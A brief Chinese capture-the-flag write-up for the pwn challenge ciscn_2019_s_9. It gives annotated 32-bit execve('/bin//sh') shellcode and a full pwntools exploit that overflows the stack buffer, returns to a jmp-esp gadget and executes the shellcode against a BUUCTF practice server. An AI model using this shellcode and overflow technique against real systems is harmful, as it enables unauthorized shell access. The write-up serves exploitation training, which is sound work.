ciscn_2019_s_9
基本啥保护都没开,也没有sys和binsh,第一个考虑写入shellcode

溢出的不是很多,如果自己生成的shellcode会超过溢出字数,自己写的倒可以控制长度
shellcode
"""
xor eax, eax ; 清零eax
mov al, 0x0b ; execve系统调用号(11)
xor edx, edx ; edx清零(环境变量指针)
push edx ; 压入字符串终止符0x00
push 0x68732f2f ; 压入"hs//"(//sh)
push 0x6e69622f ; 压入"nib/"(/bin)
mov ebx, esp ; ebx指向/bin//sh字符串
push edx ; 压入argv数组终止符0x00
push ebx ; 压入字符串地址(argv[0])
mov ecx, esp ; ecx指向argv数组
int 0x80 ; 触发系统调用
"""

exp
from pwn import *
context.log_level='debug'
io = remote('node5.buuoj.cn',25457)
shellcode='''
xor eax, eax
mov al, 0x0b
xor edx, edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push edx
push ebx
mov ecx, esp
int 0x80
'''
shellcode=asm(shellcode)
hink=0x08048551
jmp=0x08048554
payload=shellcode.ljust(0x20+4,b'\x00')+p32(jmp)
payload+=asm("sub esp,0x28;call esp")
io.sendline(payload)
io.interactive()

浙公网安备 33010602011771号